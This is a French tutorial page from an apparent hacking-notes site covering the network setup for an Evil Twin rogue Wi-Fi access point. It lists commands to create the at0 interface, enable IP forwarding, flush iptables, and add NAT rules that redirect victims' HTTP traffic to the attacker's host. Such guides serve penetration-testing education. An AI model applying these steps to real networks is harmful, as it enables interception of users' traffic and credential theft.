> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/evil-twin/eviltwin-iptables-rules-and-network-interfaces.md).
# EvilTwin - règles iptables et interfaces réseau
Configurer l’interface réseau et les règles iptables pour EvilTwin.
## Règles iptables et interfaces réseau
Démarrez Airbase pour créer le point d'accès.
### Créer le `at0` Interface
Créez l'interface réseau pour le point d'accès :
{% code overflow="wrap" %}
```bash
sudo ip tuntap add dev at0 mode tap
sudo ip link set at0 up
sudo ip addr add 192.168.1.129/25 dev at0
```
{% endcode %}
### Ajouter la route réseau
Ajoutez la route pour le nouveau sous-réseau :
{% code overflow="wrap" %}
```bash
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
```
{% endcode %}
La configuration devrait ressembler à ceci :
### Activer le transfert IP
Définir `ip_forward` en `1`:
{% code overflow="wrap" %}
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
```
{% endcode %}
### Effacer les règles iptables
Effacez les règles existantes :
{% code overflow="wrap" %}
```bash
sudo iptables --flush
sudo iptables --table nat --flush
sudo iptables --delete-chain
sudo iptables --table nat --delete-chain
```
{% endcode %}
### Vérifier les règles
Vérifiez les règles actives :
{% code overflow="wrap" %}
```bash
iptables -S
iptables -L
```
{% endcode %}
### Configurer le transfert et le NAT
Configurez l'interface externe pour transférer le trafic vers `at0`. Redirigez également le trafic HTTP :
{% code overflow="wrap" %}
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $(hostname -I | awk '{print $1}'):80
iptables -t nat -A POSTROUTING -j MASQUERADE
```
{% endcode %}
---
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